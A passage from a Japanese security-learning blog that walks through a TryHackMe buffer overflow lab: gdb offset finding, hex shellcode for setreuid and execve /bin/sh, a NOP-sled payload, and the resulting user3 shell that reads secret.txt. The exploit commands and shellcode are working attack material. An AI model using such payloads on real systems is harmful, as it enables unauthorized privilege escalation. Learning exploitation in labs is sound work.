(gdb) run $(python -c "print('A'*169)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*169)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

すべて「41」で埋め尽くされていますね。
念のため、170byteでも実行してみましょう。

(gdb) run $(python -c "print('A'*170)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*170)")
new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005ab in concat_arg ()

やりすぎているので、別アドレスになっていしまっています。
これで、164~169の6byteがリターンアドレスであることがわかりました。

16進バージョンのシェルコードは、先ほどと同様のものを使用します。

\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

今回のsecret.txtを確認するためには、user3である必要があるので、setreuid()のコードも追加します。
まずは、user3のUIDを確認してみましょう。

[user1@ip-10-10-232-238 overflow-4]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
ec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
user1:x:1001:1001::/home/user1:/bin/bash
user2:x:1002:1002::/home/user2:/bin/bash
user3:x:1003:1003::/home/user3:/bin/bash

user3のUIDは、1003ですね。
pwntoolsを利用して、setreuid()の部分の16進コードを生成していきます。

┌──(hacklab㉿hacklab)-[~]
└─$ pwn shellcraft -f d amd64.linux.setreuid 1003
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

最終的なコードは、こんな感じになりました。
全部で54byteです。

\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

次に16進のシェルコードのアドレスを調べていきます。
ジャンク(87byte)+シェルコード(54byte)+ジャンク(22byte)+リターンアドレス(6byte)=169byteになるようにしておきます。
シェルコード前のジャンクには、NOP(\x90)をあらかじめ入れておきます。

(gdb) run $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'B'*6")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'B'*6")
new word is doggo���������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAABBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()

リターンアドレスは、「B」にしているので「42」で埋め尽くされてますね。
メモリ位置のダンプをしておきます。

(gdb) x/100x $rsp-200
0x7fffffffe218: 0x004005a9      0x00000000      0xf7ffa268      0x00007fff
0x7fffffffe228: 0xffffe63a      0x00007fff      0x67676f64      0x9090906f
0x7fffffffe238: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe248: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe258: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe268: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe278: 0x90909090      0x90909090      0x90909090      0x90909090
0x7fffffffe288: 0x90909090      0xbf66ff31      0x716a03eb      0xfe894858
0x7fffffffe298: 0x3b6a050f      0xd2314858      0x2f2fb849      0x2f6e6962
0x7fffffffe2a8: 0xc1496873      0x504108e8      0x52e78948      0xe6894857
0x7fffffffe2b8: 0x3c6a050f      0xff314858      0x4141050f      0x41414141
0x7fffffffe2c8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffe2d8: 0x42424242      0x00004242      0xffffe3d8      0x00007fff
0x7fffffffe2e8: 0x00000000      0x00000002      0x004005e0      0x00000000
0x7fffffffe2f8: 0xf7a4302a      0x00007fff      0x00000000      0x00000000
0x7fffffffe308: 0xffffe3d8      0x00007fff      0x00040000      0x00000002
0x7fffffffe318: 0x004005ac      0x00000000      0x00000000      0x00000000
0x7fffffffe328: 0x04bbf356      0x29eb8017      0x00400450      0x00000000
0x7fffffffe338: 0xffffe3d0      0x00007fff      0x00000000      0x00000000
0x7fffffffe348: 0x00000000      0x00000000      0xc97bf356      0xd6147f68
0x7fffffffe358: 0x50bff356      0xd6146fdf      0x00000000      0x00000000
0x7fffffffe368: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffe378: 0xffffe3f0      0x00007fff      0xf7ffe130      0x00007fff
0x7fffffffe388: 0xf7de7656      0x00007fff      0x00000000      0x00000000
0x7fffffffe398: 0x00000000      0x00000000      0x00000000      0x00000000

0x7fffffffe288の2列目にシェルコードがありますね。

NOPで埋めている箇所ならどこでもいいのですが、今回は、「0x7fffffffe288」をリターン先にしておきましょう。
Bをリターンアドレス「0x7fffffffe288」⇒「0x88e2ffffff7f」⇒「\x88\xe2\xff\xff\xff\x7f」としておきます。

[user1@ip-10-10-232-238 overflow-4]$ ./buffer-overflow-2 $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'\x88\xe2\xff\xff\xff\x7f'")
new word is doggo���������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAA�����
sh-4.2$ whoami
user3

無事、user3のシェルを取得することができました。
最後にsecret.txtを確認しておきます。

sh-4.2$ cat secret.txt 
wowanothertime!!

Answer

まとめ

今回は、Buffer OverFlowを実際に試してみました。
正直、まだメモリの仕組みが理解しきれてないところもありますが、どうやったらオーバーフローするのかは理解できたかなと思います。

参考文献・サイト

The Bob Loblaw Blog:https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
l1ge’s cabin:https://l1ge.github.io/tryhackme_bof1/

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次